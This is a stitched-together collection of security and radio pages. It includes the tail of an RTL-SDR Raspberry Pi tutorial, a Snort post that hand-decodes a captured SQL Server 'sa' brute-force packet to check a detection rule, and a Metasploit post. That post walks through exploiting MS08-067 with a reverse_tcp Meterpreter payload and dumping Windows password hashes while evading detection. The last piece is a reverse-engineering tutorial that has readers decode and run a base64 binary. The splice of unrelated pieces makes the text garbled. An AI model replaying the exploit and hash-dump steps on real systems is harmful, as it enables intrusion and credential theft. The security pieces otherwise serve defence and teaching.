Of course in the end it might be easier to use SDRTrunk instead, although it
seems that many people still prefer Unitrunker.

## Other Tested Software

**WinSTD-C:** We’ve also managed to get the Inmarsat STD-C decoder WinSTD-C
running and decoding SafetyNET messages. To do this simply enable the loopback
with “sudo modprobe snd-aloop”, then use the standard Osmocom rtl\_fm and set
the mode to “-m usb”. The latest version of the Osmocom RTL-SDR package even
supports the bias tee on our RTL-SDR V3 with the “-T” flag, so it is easy to
use an L-band LNA with it.

[code]

    ./rtl_fm -M fm -f 1541.449M -s 6k -g 40 -T | sox -r 6k -t raw -e s -b 16 - -traw -r 48k -e s -b 16 -c 1 - | aplay -r 48k -f S16_LE -t raw -c 1 -D hw:Loopback,0,0
[/code]

We tried the Windows based Tekmanoid and inmarsat.com STD-C decoders, but were
unable to get those running on wine. The Tekmanoid program is Java based, so
it should be possible to run that without emulation, but the author has not
yet released a Linux version. For now it may also run on Wine, but we have not
attempted to install Java on Wine yet.

Below is an image of the WinSTD-C software running on the Pi 3. We used the
Outernet active ceramic patch antenna and a V3 dongle with bias tee on. As far
as we know, this is the only way to get STD-C decoding operational on a Linux
device, let alone Pi 3, since all the apps are written for Windows.

<img src='img/Temp2_7076.jpg' width='1024' height='542' alt='WinSTD-C Decoding
Inmarsat STD-C on a Raspberry Pi 3' />

WinSTD-C Decoding Inmarsat STD-C on a Raspberry Pi 3

**DSDPlus:** DSD+ runs well on Exagear + Wine. Again to get going just like in
the above examples first enable the loopback with “sudo modprobe snd-aloop”.
Then open DSDPlus.exe with “wine DSDPlus.exe” from within an Exagear shell.

Using the Osmocom rtl\_fm run the following line in a terminal. Note that here
we used the -F flag to get a higher quality audio output. In our case on a DMR
signal, running -F 9 seems to be necessary to get audio quality good enough
for DSD to decode.

[code]

    rtl_fm -M fm -f 416.5875M -s 12.5k -g 20 -F 9 | sox -r 12.5k -t raw -e s -b 16 - -traw -r 48k -e s -b 16 -c 1 - | aplay -r 48k -f S16_LE -t raw -c 1 -D hw:Loopback,0,0
[/code]

**WxToIMG:** There is actually a Linux version of WxToImg, but it is compiled
for the x86 architecture, so normally it cannot be run on ARM devices. But
with Exagear it runs, and runs smoothly. We haven’t been able to set the audio
pipes up correctly yet, but the GUI and terminal versions run fine with a .wav
file input.

**MultiPSK:** Runs, but is quite slow, and seems to be a bit buggy.

**PC-HFDL:** Runs well.

**Orbitron:** Runs well.

**SondeMonitor:** Runs well.

**SDRSharp:** Unable to get working. Maybe require some work with installing
Mono.

<img src='img/Temp2_7078.jpg' width='1024' height='551' alt='Orbitron &
SondeMonitor Running' />

Orbitron & SondeMonitor Running on the Raspberry Pi 3

## Other Notes

Exagear is available for Android as well, so it’s possible that some of these
apps may also run on Android phones and tablets.

It should be possible to use Pulseaudio to create a full digital decoding
system with Unitrunker. But currently using Pulseaudio seems to cause
Unitrunker to not open.

rtl\_fm generates some audio underruns. They only happen every 10-20 seconds
though and don’t affect digital decoding much.

If there are any other Windows only or x86 only apps you’d like us to test,
please let us know in the comments.

initialinitialinitial _s_ initial Tweet

initialinitialinitial _j_ initial Share

initialinitialinitial _h_ initial +1

initialinitialinitial _k_ initial Email

oinitialinitialShares 48

### Related posts:

  1. Uni-SDR Link: Control SDR Console V2 with Unitrunker 
  2. TETRA Decoding on Windows with Telive 
  3. An Alternative NOAA Weather Satellite Tutorial using RTL\_FM and WxToImg 
  4. A Tutorial on Decoding NOAA and Meteor M2 Weather Satellite Images in Ubuntu 
  5. Icecream Box Raspberry Pi RTL-SDR Receiver 

Written by admin —  Posted in Applications, Other, RTL-SDR —  Tagged with ARM,
exagear, linux, raspberry pi 3, rtl-sdr, rtl2832, rtl2832u, x86

  

# VRT: Hand Parsing Packets for False Negative Glory

**Created:**| _12/3/2009 9:35:30 PM_  
---|---  
**Updated:**| _12/3/2009 9:35:49 PM_  
**Author:**| __  
**Tags:**| _packet-analysis analysis vulnerability network-security_  
  

### Hand Parsing Packets for False Negative Glory

Yesterday, on the Snort-Sigs mailing list, we had a report of a potential
false-negative in an older Snort rule. While he was unable to provide a full
packet capture at the time, the author of the email was able to provide a
copy-paste of the packet data. A lot of times, Alex Kirk takes point on these
complaints, but he was still trying to catch up from his jaunt down to Brazil
to speak at Hacker2Hacker. So I grabbed the data and worked on the issue. I
thought it might be interesting for folks to know how we approach reports like
this.  
  
So the issue was with the following rule:  

[code]

      
    alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"SQL SA bruteforce login attempt TDS v7/8"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 00|"; depth:2; offset:34; content:"|00 00 00 00|"; depth:4; offset:64; pcre:"/^.{12}(\x00|\x01)\x00\x00(\x70|\x71)/smi"; byte_jump:2,48,little,from_beginning; content:"s|00|a|00|"; within:4; distance:8; nocase; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:suspicious-login; sid:111113543;)
[/code]

  
  
And the attack pcap is as follows:  

[code]

      
    0000  00 14 bf 52 fe 40 00 d0  2b 77 75 01 08 00 45 20   ...R.@.. +wu...E  
    0010  00 bc 1e 56 40 00 6c 06  xx xx 79 0b 50 ce xx xx   ...V@.l. xxy.P.xx  
    0020  xx 7a 08 2b 05 99 a4 51  cc 4d b1 be 2b 43 50 18   xz.+...Q .M..+CP.  
    0030  ff ff 3d 81 00 00 10 01  00 94 00 00 01 00 8c 00   ..=..... ........  
    0040  00 00 01 00 00 71 00 00  00 00 00 00 00 07 d0 19   .....q.. ........  
    0050  00 00 00 00 00 00 e0 03  00 00 20 fe ff ff 04 08   ........ .. .....  
    0060  00 00 56 00 06 00 62 00  02 00 66 00 01 00 68 00   ..V...b. ..f...h.  
    0070  00 00 68 00 0e 00 00 00  00 00 84 00 04 00 8c 00   ..h..... ........  
    0080  00 00 8c 00 00 00 00 1c  25 5b 6f ff 00 00 00 00   ........ %[o.....  
    0090  8c 00 00 00 44 00 57 00  44 00 57 00 34 00 44 00   ....D.W. D.W.4.D.  
    00a0  73 00 61 00 b3 a5 xx 00  xx 00 2e 00 xx 00 xx 00   s.a...x. x...x.x.  
    00b0  xx 00 2e 00 xx 00 xx 00  xx 00 2e 00 31 00 32 00   x...x.x. x...1.2.  
    00c0  32 00 4f 00 44 00 42 00  43 00                               2.O.D.B. C.
[/code]

  
  
So, the first thing I wanted to do was to take a quick look see to check if
the packet should alert. It was kind of sloppy \(this cost me some time\), but
here is what I did:  
  
Looking at the rule, it requires content:|10| at depth 1. As it turns out,
there is only one 0x10 in the pcap, so I just assumed this was the begining of
the packet payload \(lazy\). As it turns out, I was right. So I took each
portion of the detection in the rule and laid it out and compared it to the
packet:  
  
Original packet data, serialized:  

[code]

      
    10 01 00 94 00 00 01 00 8c 00 00 00 01 00 00 71 00 00 00 00 00 00 00  
    07 d0 19 00 00 00 00 00 00 e0 03 00 00 20 fe ff ff 04 08 00 00 56 00  
    06 00 62 00 02 00 66 00 01 00 68 00 00 00 68 00 0e 00 00 00 00 00 84  
    00 04 00 8c 00 00 00 8c 00 00 00 00 1c 25 5b 6f ff 00 00 00 00 8c 00  
    00 00 44 00 57 00 44 00 57 00 34 00 44 00 73 00 61 00 b3 a5 xx 00 xx  
    00 2e 00 xx 00 xx 00 xx 00 2e 00 xx 00 xx 00 xx 00 2e 00 31 00 32 00  
    32 00 4f 00 44 00 42
[/code]

  
  
content:"|10|"; depth: 1;  
`10`  
  
content:"|00 00|"; depth: 2; offset: 34;  
`00 00`  
  
content:"|00 00|"; depth: 4; offset: 64;  
`00 00 00 00`  
  
pcre:"/^.\{12\}\(\x00|\x01\)\x00\x00\(\x70|\x71\)/smi";  
`10 01 00 94 00 00 01 00 8c 00 00 00 01 00 00 71`  
  
byte\_jump:2,48,little,from\_beginning;  
`62 00` \[Read little endian, decimal: 98\]  
  
content:"s|00|a|00|";  
`44 00 57 00`  
"D" 00 "W" 00  
  
So, a note. I totally messed the last match up, because I failed to notice
that the content match had a within: 4; distance:8; set of modifiers. So at
this point, I thought there was a problem with the rule. So I decided to hand
decode the pcap. Nothing says dedication like hand decoding packets in VI, but
I was free for a while, and for some reason very motivated to nail down the
issue. The original author was actually very awesome in this regard, because
he provided an excellent link to a reference that detailed the protocol, you
can find it at http://www.freetds.org/tds.html\#login7.  
  
So...at first I didn't know what the first 8 bytes were, so I cleverly wrote:  
  
`10 01 00 94 00 00 01 00` I have no idea what this does  
  
This is fine, you don't have to know everything, but don't forget that you
don't know it, because if you get stuck later, its an avenue to explore. Then
I got down to actually working on the decoding of the login data. Here is the
full decode that I did:  

[code]

      
    [Login Packet Decode]  
    Total Packet Size [4]:           8c 00 00 00                                                                          4  
    TDS Version [4]:                 01 00 00 71                                                                          8  
    Packet Size [4]:                 00 00 00 00                                                                          12  
    Client Version Program [4]:      00 00 00 07                                                                          16  
    PID of Client [4]:               d0 19 00 00                                                                          20  
    Connection ID [4]:               00 00 00 00                                                                          24  
    Option Flags 1 [1]:              e0                                                                                   25  
    Option Flags 2 [1]:              03                                                                                   26  
    Sql Type Flags [1]:              00                                                                                   27  
    reserved flags [1, mbz]:         00                                                                                   28  
    time zone [4]:                   20 fe ff ff                                                                          32  
    Collation Info [4]:              04 08 00 00                                                                          36  
    Position of client hostname [2]  56 00 [86 decimal]                                                                   38  
    Hostname length [2]              06 00                                                                                40  
    Position of username [2]:        62 00 [98 decimal]                                                                   42  
    Username length [2]:             02 00                                                                                44  
    Position of password [2]:        66 00 [102 decimal]                                                                  46  
    Password length [2]:             01 00                                                                                48  
    Position of app name [2]:        68 00 [104 decimal]                                                                  50  
    Length of app name [2]:          00 00                                                                                52  
    Position of server name [2]:     68 00 [104 decimal]                                                                  54  
    Length of server name [2]:       0e 00                                                                                56  
    Int16 [2, mbz] [2]:              00 00                                                                                58  
    Int16 [2, mbz] [2]:              00 00                                                                                60  
    Position of library name [2]:    84 00 [132 decimal]                                                                  62  
    Length of library name [2]:      04 00                                                                                64  
    Position of language [2]:        8c 00 [132 decimal]                                                                  66  
    Length of language [2]:          00 00                                                                                68  
    Position of database name [2]:   8c 00 [132 decimal]                                                                  70  
    Length of database name [2]:     00 00                                                                                72  
    Mac address of the client [6]:   00 1c 25 5b 6f ff                                                                    78  
    Position of auth portion [2]:    00 00                                                                                80  
    NT Auth Length [2]:              00 00                                                                                82  
    Next position [2]:               8c 00 [132 decimal]                                                                  84  
    Int16 [2, mbz]:                  00 00                                                                                86  
    Hostname [n(6)]:                 44 00 57 00 44 00 57 00 34 00 44 00                                                  98  (DWDW4D)  
    Username [n(2)]:                 73 00 61 00                                                                          102 (sa)  
    Password [n(1)]:                 b3 a5                                                                                104 (encrypted)  
    Server Name [n(14)]:             xx 00 xx 00 2e 00 xx 00 xx 00 xx 00 2e 00 xx 00 xx 00 xx 00 2e 00 31 00 32 00 32 00  132 (xx.xxx.xxx.122)  
    Library Name [n(4)]:             4f 00 44 00 42 00 43 00                                                              140 (ODBC)
    
[/code]

So the numbers on the far right are a running count of the offset from the
begining of the TDS Login Packet data fields. I did this because all of the
provided offsets \(Position of....\) are in relation to the begining of the
Login Packet fields, and if I have to continuously recalculate where I am I
will eventually screw it up. So I do a little extra work to be sure I know
what I'm looking at.  
  
Next I recheck the snort detection methodology using the decoded information
so I understand what it is that the rule is trying to do. When I do this, I
finally notice that the last content match actually has additional modifers to
it. As I review each check, I make notes next to the checks to tell me what
was going on:

[code]

    content:"|10|"; depth: 1;                          [Not immediately apparent what this is, as it is part of the undescribed header]  
    content:"|00 00|"; depth: 2; offset: 34;           [Checking the Sql Flags and the Reserved flags are 00 00]  
    content:"|00 00 00 00|"; depth:4; offset:64;       [Checking the 4 must-be-zero bytes at offset 58 and 60]  
    pcre:"/^.{12}(\x00|\x01)\x00\x00(\x70|\x71)/smi";  [Verifying that we have an appropriate version field at offset 8]  
    byte_jump:2,48,little,from_beginning;              [Grab the offset of Username, jump the offset from begining of packet value here is 62 hex, 98 decimal]  
    content:"s|00|a|00|"; within 4; distance: 8;       [Check for username "sa", adjusting for 8 byte header]
    
[/code]

OK, now we're working, but I want to know what the |10| is for, so I look
around and find the TDS header specification a little above the login spec, so
I take a moment and break that down:

[code]

    [TDS Packet Header]  
    Packet type:                10  (TDS 7.0 login packet)  
    Last Packet indicator:      01  
    Packet Size:                00 94  
    Unknown:                    00 00 01 00
    
[/code]

So now I can describe in plain language what the rule is trying to do. First,
check to make sure this packet is a TDS login packet \(as it turns out, 10 is
valid for 7.0 and 8.0\). Then check to make sure that fields that are known to
be set as |00| for TDS login packets are indeed set to |00|. This ensures that
we are looking at the correct kind of packet, by verifying that these
structures are located in the correct place. Now that we've done some basic
checking, we have enough information to justify calling the PCRE engine and
checking that the version is set correctly. Observant readers will note that
the PCRE allows for four variants, but the only valid variants are 00 00 00 70
and 01 00 00 71. The original rule writer determined that this was an
acceptable false positive risk and chose to write the rule in this way. He
could also have done a full four byte OR between the two values, but that
doesn't substantially impact performance or accuracy, so I'm not concerned
with changing it now. Finally, you grab the offset to the Username field. This
is at a known location 48 bytes from the begining of the payload. We know that
this field is 2 bytes long, and written in little endian. We then move the DOE
pointer that many bytes from the begining of the file. Finally, we check for
the unicode string "sa" 8 bytes from where the DOE is located. We do this
because we know that the TDS header is of a fixed size of 8 bytes, and all
offset values are off by 8 when you calculate them from the begining of the
payload.  
  
So now I know the detection should have triggered on this pcap. I also know
that there is thresholding in the rule, and that there may be some issues with
that. But I have a hard time checking that with just this pcap that isn't
really a pcap. So I decide to decode the Ethernet, IP and TCP headers to
ensure that they line up with the rule \(basically checking that the dst port
is 1433\):  

[code]

    [Layer 2/3 HEADERS]  
    Eth  
    00 14 bf 52 fe 40  dst  
    00 d0 2b 77 75 01  src  
    08 00              type  
      
    IP  
    45                 Ver 4, Header size  
    20                 TOS  
    00 bc              Total length  
    1e 56              ID  
    40 00              Flags and frag info  
    6c                 TTL  
    06                 Protocol (TCP)  
    xx xx              Checksum  
    79 0b 50 ce        121.11.80.206  
    xx xx xx 7a        xx.xx.xx.122  
      
    TCP  
    08 2b              src 2091  
    05 99              dst 1433  (Correct port for rule)  
    a4 51 cc 4d        checksum  
    b1 be 2b 43        ack number  
    50 18              hdr len/reservered/flags (ack/psh set flags consistent with stream state)  
    ff ff              window size  
    3d 81              tcp checksum  
    00 00              urgent pointer
    
[/code]

A couple of notes on this. First, the dst port was indeed 1433, so we're good
there. But I wanted to point out something the original author of the email
did that was very, very clever and important. He was careful to obfuscate the
destination IP address so we don't know what network or company we're
discussing. But he went further than that, and also obfuscated the checksum
field so we couldn't use that as a check as we tried to work out what the IP
address was prior to obfuscation. Very nice. I also noticed that the source IP
address was left in, so I had to whois it. Turns out its an address in the
Chinanet AS, so I'm assuming this is a live attack capture.  
  
So...now I've pretty much completely decoded the packet, and am pretty certain
it isn't a problem with a rule. But I hit up our bugtracking and search for
old bugs that involve this SID. I had noticed that the revision number of the
rule was 4, so I was hoping there was some evolution of the rule that would
indicate something that might help me, but all the modifications were either
process driven \(standardizing the order in which modifiers come after the
content: option\) or adding documentation. But there was a PCAP that was built
by Alex Kirk when they were first doing research on it. So I grabbed it and
tested it against every snort rule we had:  

[code]

    Snort Test Suite v.0.3.0  
      
    Alerts:  
    1:3273:4    SQL sa brute force failed login unicode attempt  Alerts: 93  
    1:3543:4    SQL SA brute force login attempt TDS v7/8        Alerts: 93
    
[/code]

So the first thing that caught my eye here was that I had a new alert, so I
grepped over the rules file to see what was going on there:

[code]

    alert tcp $SQL_SERVERS 1433 -> $EXTERNAL_NET any (msg:"SQL sa brute force failed login unicode attempt"; flow:from_server,established; content:"L|00|o|00|g|00|i|00|n|00| |00|f|00|a|00|i|00|l|00|e|00|d|00| |00|f|00|o|00|r|00| |00|u|00|s|00|e|00|r|00| |00|'|00|s|00|a|00|'|00|"; threshold:type threshold, track by_src, count 5, seconds 2; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:unsuccessful-user; sid:3273; rev:4;)
    
[/code]

OK, very cool. This indicated to me that I had an attack pcap against an
actual server that responded correctly, so my confidence in the rule grew. Now
I was wondering what impact the thresholding was having on the rule, so I
copied the rule into my local.rules file. I then made a copy of the rule and
removed the thresholding. This would allow me to see how many alerts of each
were being generated. I used the local.rules file for two reasons. One, I was
going to modify a rule, and I don't want to accidentally leave a non-published
rule in my testing rule set, and two, it takes a long time to load up every
snort rule, so I just load the two I want and things are much quicker. Here is
what my local.rules looked like:  

[code]

    alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"SQL SA brute force login attempt TDS v7/8"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 00|"; depth:2; offset:34; content:"|00 00 00 00|"; depth:4; offset:64; pcre:"/^.{12}(\x00|\x01)\x00\x00(\x70|\x71)/smi"; byte_jump:2,48,little,from_beginning; content:"s|00|a|00|"; within:4; distance:8; nocase; threshold:type threshold, track by_src, count 5, seconds 2; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:suspicious-login; sid:3543; rev:4;)  
      
    
    
[/code]

[code]

    alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"SQL SA brute force login attempt TDS v7/8"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 00|"; depth:2; offset:34; content:"|00 00 00 00|"; depth:4; offset:64; pcre:"/^.{12}(\x00|\x01)\x00\x00(\x70|\x71)/smi"; byte_jump:2,48,little,from_beginning; content:"s|00|a|00|"; within:4; distance:8; nocase; reference:bugtraq,4797; reference:cve,2000-1209; reference:nessus,10673; classtype:suspicious-login; sid:1;)
    
[/code]

I then reran the test against the same pcap:  

[code]

    Snort Test Suite v.0.3.0  
      
    Alerts:  
    1:1:0       SQL SA brute force login attempt TDS v7/8  Alerts: 470  
    1:3543:4    SQL SA brute force login attempt TDS v7/8  Alerts: 94
    
[/code]

That's a good result as well. I have 94 alerts on the thresholding rule, but
470 alerts on the rule with only the base detection. This tells me that the
thresholding is behaving correctly. I've pretty much gone through everything
that I can on this end. To recap the process:

  1. Did a quick eyeball check, screwed it up and thought there was a problem.  

  2. Did a much more focused check after decoding the packet, discovered that the core functionality was fine.  

  3. Checked the layer two and three headers, gave a thumbs up to checksum obfuscation, but didn't see anything problematic there.  

  4. Checked our bug system, pulled the research notes and retested the rules using the original test pcap.  

  5. Pulled the thresholding out of the rule to verify that that was working correctly.

Everything looked good on our end, so I reported back my findings to the
original author. He indicated that the attacks were coming in roughly every
2.5 seconds, which would not trigger the threshold of 5 every 2 seconds
\(threshold:type threshold, track by\_src, count 5, seconds 2;\). But this is
what we love about Snort, because a quick copy paste to the local.rules file
and changing the threshold to 1800 seconds will certainly give him enough
alerts to deal with.  
  
So that is how we approach things from a problem rule perspective. Hopefully
there is something in here you can apply to your own rule writing and
troubleshoot, or at least you know that your reports don't just go into void
and that we actually have a process in place to deal with them. Let us know if
you have any questions.

# Metasploit: Safe, Reliable, Hash Dumping

**Created:**| _1/2/2010 6:27:03 PM_  
---|---  
**Updated:**| _1/2/2010 6:27:09 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

### Safe, Reliable, Hash Dumping

The Metasploit Meterpreter has supported the "hashdump" command \(through the
Priv extension\) since before version 3.0. The "hashdump" command is an in-
memory version of the pwdump tool, but instead of loading a DLL into
LSASS.exe, it allocates memory inside the process, injects raw assembly code,
executes its via CreateRemoteThread, and then reads the captured hashes back
out of memory. This avoids writing files to the drive and by the same token
avoids being flagged by antivirus \(AV\) and intrusion prevention \(HIPS\)
products.  
  
Over the last few years, many AV and HIPS products have added hooks to detect
this behavior and block it at the API level. Unfortunately, the hooks are
often implemented in a way that causes LSASS.exe to crash, which forces the
entire system to either halt or reboot. This has made the "hashdump" command
\(along with pwdump and its friends\) somewhat risky to use during a
penetration test. One alternative to LSASS injection is to export the raw
registry hives and then perform an offline extraction. This works, but it
requires the hive files to be stored on the disk and currently requires
external tools to use this method with the Metasploit Framework.  
  
Over the last couple days, I reimplemented the registry-based method as a
Meterpreter script. The key difference is that instead of using the reg.exe
command to export the raw hives, this script uses direct registry access to
extract the SYSKEY and decrypt the raw LANMAN and NTLM hashes. It isn't the
fastest way to do it, but it leaves no evidence on the target, avoids the
majority of the HIPS products \(unless they filter registry reads\), and most
importantly is 100% safe in terms of system stability. The output below
demonstrates a machine being compromised through MS08-067 and then having the
LANMAN/NTLM hashes extracted using the live registry.  
  
msf > **use exploit/windows/smb/ms08\_067\_netapi**  
msf exploit\(ms08\_067\_netapi\) > **set RHOST 192.168.0.120**  
  
msf exploit\(ms08\_067\_netapi\) > **set LHOST 192.168.0.151**  
  
msf exploit\(ms08\_067\_netapi\) > **set LPORT 4444 **  
  
msf exploit\(ms08\_067\_netapi\) > **set PAYLOAD
windows/meterpreter/reverse\_tcp**  
  
msf exploit\(ms08\_067\_netapi\) > **exploit**  
  
\[\*\] Started reverse handler on port 4444  
\[\*\] Automatically detecting the target...  
\[\*\] Fingerprint: Windows XP Service Pack 3 - lang:English  
\[\*\] Selected Target: Windows XP SP3 English \(NX\)  
\[\*\] Triggering the vulnerability...  
\[\*\] Sending stage \(723456 bytes\)  
\[\*\] Meterpreter session 1 opened \(192.168.0.151:4444 ->
192.168.0.120:1041\)  
  
meterpreter > **getuid**  
Server username: NT AUTHORITY\SYSTEM  
  
meterpreter > **run hashdump**  
\[\*\] Obtaining the boot key...  
\[\*\] Calculating the hboot key using SYSKEY 3ed7\[...\]  
\[\*\] Obtaining the user list and keys...  
\[\*\] Decrypting user keys...  
\[\*\] Dumping password hashes...  
  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...  
Guest:501:aad3b435b51404eeaad3b435b51404ee:...  
HelpAssistant:1000:ce909bd50f46021bf4aa40680422f646:...  
SUPPORT\_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:...::  
  
The caveat -- to run this Meterpreter script, you must already have access to
a SYSTEM token. This is already the case if you are exploiting a system
service, like the Server Service or most DCERPC vulnerabilities, but can
require a few additional steps if you only have administrative access. The
reason is that the Administrators group does not have read access to the
registry tree that contains the encrypted password hashes. The next blog post
will go into the nitty-gritty details of impersonation and privilege
escalation on the Windows platform.  
  
-HD

# Introducing STAN. A simple tool for RE beginners

**Created:**| _6/29/2017 4:06:43 PM_  
---|---  
**Updated:**| _6/29/2017 4:06:43 PM_  
**Author:**| __  
**Tags:**| __  
  

  

<img src='img/Temp2_4538.png' width='45' height='45' />

0x00pf __pico

8d

4 __

 __

Those of you that are following me on twitter may have heard about STAN. This
is my pet project to learn about reverse engineering. It was born as an
experiment with the capstone disassembly framework \(http://www.capstone-
engine.org/16\), and it evolved in something usable for simple projects.

If you want to use it for your practice, or you want to take a look to the
code, or even you want to extend it for your own needs... just grab the code
here:

github.com67

<img src='img/a35c2bf9477f702a5322cfd1c8f54353d79c1d16.png' width='120'
height='120' />

### 0x00pf/STAN

STAN is a sTAtic aNalyser

STAN is an early alpha phase and you may expect crashes and some misbehaviour.
In general, for simple challenges it should work fine, but... as I said, it is
just a pet project. So far it only works with GNU/Linux binaries and with ELF
format for x86 and ARM \(only 32bits for ARM\).

# A Simple Crackme for Testing

So, instead of writing a boring tutorial on the different options. I will just
solve a very simple challenge.

Here it is:

[code]

    #!/bin/sh
    
    cat << EOM | base64 -d | gunzip > /tmp/specimen
    H4sIAG7iSlkAA+1Ya0wUVxS+sw92FJhd7QtTa9YU41J1ZRVboIgMLOxdu7SgoNYXLu6qJMIm7Iyi
    qVU7Yh3GrSaNib/80bRJY1LDD2MpMTC4ysMftlBbSU1rNNUurq34qFAfTM+dnaWwSRN/9F/3JHfO
    Pd+e75zv3rlMmNlb6inTURSKmw4VIhIdporUuEjDD1nGUwDLRQa4TkG0mmtEE61okh9OQZM8Qlb1
    SngqFK9r2TTJp2nwmvG6MZ5BG1ZNslXTGfeZWnbcGzRfeZPzmdDzW1wW4b8IQw/D9W41OtP0w9O5
    Vd/UXhrRfXlyY97vVPmaL/D+OzTktadCTkeLsQh1EnEOOdIKDou32kkVhwLAcQCUXiz+ho93Gwwo
    kqXm4f3nCT9cA7mrcahqjMbiS0HGiiKn1AI9kQLwDys7dkLtyHEdQs0yP62dbHvH3ni76LR2orWj
    eUL/bHBCr7I23FpwGpm/lt3iRbMRL/1AUZQd5pHBisjLkPC+SGNICreioSvwQys19B24tgy4EWEs
    Ga+lW0HCGBYLcY+LJlsCXt2dHleGGoouW6cOkKEjoKwaizfZ1W7xCruKrWar3OLllVh8gIU7NnHP
    WbewDJWH9tL8o3JxzCOOYsmCmwe4V7DweAafiqUiGsPKlkRTsCBbotcdjzqPwWpgISVQGYf4bla8
    0D4VesKWlINIp3g3Mlv9qbQbS6DE6AC1bskEZbjpWBidzae4pdV0lHYLPZboLccAtMM9MkKbFGwu
    PQexaFwEFIfslhjc3MdlYuEvPT/FLa0iUqLpEBpJWAbhABQTui3Ry6T6MiI839GHxR+xcC5X2N1r
    4l/HUpkFKvamwZZJZVaYXohNbTD9CaZRGitdOK+L7/VIxj4A3PtHyeE1f6zeacl4jGB5svmjExC7
    QxWrsLRkF6khdmHhxjDOuuwJeTLNbuH6sEf89sHnHsCzuhzyg5PvhAooLC5dD8mR0jFF6fyMHJZp
    cBKI3IyOryAkR6kRqYj5mGw+I0d1Dlk0jqYSkXrQWKi2Ms4lTpFbKpQDA5xp3+OF/L1oRNpz1iPe
    wOIvkbRnihI1tgVIpZB/cB27nt3AbmRrNoRbTPkpfDpWurHSQ8v8sEMOz5CFXirMVjtktgoOx59Y
    uKTAkXiCxbuVWLx3/xQWr2HxYmw6AjdkEI/0Y+oSVi5yeTjvPpygnW/grH5PaH6qJy/KzWopRbl6
    frqq5Q8gRz5F5A+Cm4KVcPRnhxyFhQyuXbeBqAq3nhjSgdpW/dCTp+B0Qw/BkYNZvbLSI81hYOXl
    zb9yZbhZweIzrhD+GIU+hSjpd4bqFLc0MxM3X+VsHvG21m2O2o1nivcVzFvKm5aH1s+jyPk6T0f7
    HVfXQm+tNZyNvH7uBfMZg9kJFwbuvDNL5m6TPQ9nN2VnB/2bkSsQ8E1FxV64VHiDwZ2BRl++FS30
    +Xcs5Bu9Db5APfI4aypWlHreY51oh3f71sa6Bp/2TCJG7V6BqCYL9WqaiT5KxfCZML5/oihvkwSW
    sexiaBXLgVEFOCa4izlK64oYWqtDeFUwaNif8Ue1hm+H8Qh4iybg82EcIM9JyB+jYn0O6krSU4qP
    6N2fGELGwylOwaS/TYEupPU+DWME7kYTAYoZS0jnZDIO61nGetCAGZtgdDHZunWMDQCWyYCEYoYm
    vDswPHCkt4zzisd5LOGxwKtmbM4JPKI7E3TtBt5rz/nMT1rSkpa0pCUtaUn7P5j6Gq1MVeeukpJ8
    q626lm/geGuOPdees2ARr0aODx059uwc++KsGI6QPbgtyDVy3lpkbwhwfvvWBt5ey9dt9y2o8yE7
    52/ikL0x4PNyXmT3b6vZ0uit9yN7LK4NBpF9c6C+3t/A/VfrIO/e5P1ep8X/fBeIxZkJ+YaEeBaa
    8E0CzKnxnRp/cQKBmhyq9QkW/x+ZvKrHfCxelpBPJfj52jyuv03jt2n83ISG9OQQvanx9XFg/HtK
    zKUl5Ceuv0CrGedb4t9hND5OyE/sz2r9sxPwOH9eAp64/knaJ9hbGn/5v/Dj9jetXZN9yBIAAA==
    EOM
[/code]

Just run it and you will get the challenge in the `tmp` folder

# Basic STAN Operations

So, let's launch STAN passing as parameter our challenge:

[code]

    $ stan /tmp/specimen
    STAN is a sTAtic aNalyser. v 0.1
    (c) pico
    
    + Opening file '/tmp/specimen'
    + Loaded '/tmp/specimen' 4808 bytes
    + ELF Machine ID: 62
    + Arch: 1 Mode:2 Type: 1
    + Processing Core...
    Starting analysis
    + Processing 4 sections/segments
    + Processing section [0] '.text'
      * Analysing 342 instructions
    + Processing section [1] '.rodata'
    + Processing section [2] '.eh_frame'
    + Processing section [3] '.data'
    --------------------------------------
    CASE: 'corpse'
    CORE: 0x696140
    ......................................
    + Dumming Core
      - File         : /tmp/specimen
      - Size         : 4808
      - Type         : ELF64
      - Valid        : VALID
      - Architecture : X86
      - Mode         : 64bits
    [00] text_00 Addr:0x400000 Offset:0x0000 Size:0x06f0 (1776)
    [01] data_01 Addr:0x601000 Offset:0x1000 Size:0x000c (12)
    .................................................
    [00]           .text 0x03 Addr:0x400144 Offset:0x0144 Size:0x0433 (   1075) [text_00+0x0144]
    [01]         .rodata 0x06 Addr:0x400577 Offset:0x0577 Size:0x003f (     63) [text_00+0x0577]
    [02]       .eh_frame 0x06 Addr:0x4005b8 Offset:0x05b8 Size:0x0138 (    312) [text_00+0x05b8]
    [03]           .data 0x06 Addr:0x601000 Offset:0x1000 Size:0x000c (     12) [data_01+0x0000]
    --------------------------------------
    STAN] >
[/code]

It shows a bunch of data related to the ELF file.. Let's look directly to the
code:

[code]

    STAN] > dis.section .text
    (the whole program is dumped)
[/code]

The family of `dis` commands are used for disassembling code. The
`dis.section` one, disassembles a whole section. Usually you will use the
`dis.function` that disassembles just 1 function. Any way, in this case,
dumping the whole section will allow us to quickly find the main function.

Oops. I haven't mention that, but the challenge is a stripped binary... so no
symbols in it. STAN can deal with symbols and show then to you... but the
stripped binary is just smaller to be included as text in this write up.

So, if you quickly browse the asm code, you will see the string `Password:`
towards the begining of the dump. That is our `main` function. Alternatively,
STAN creates a special symbol named `__entry_point` to reference the program
entry point. Starting from there and following the different function calls
you will eventually arrive to the same point.

# The main function

Let's take a look to the main function at the same time we discover more STAN
functions.

[code]

    STAN] > dis.function .text
    + Function '.text'@0x400144 found at section '.text'(1075,342)
    
                                     .text:
    400144:   48 81 ec 08 04 00 00    	sub	rsp, 0x408
    40014b:   ba 0b 00 00 00          	mov	edx, 0xb
    400150:   be 8a 05 40 00          	mov	esi, 0x40058a		#  40058a(.rodata+13) : 'Password: '
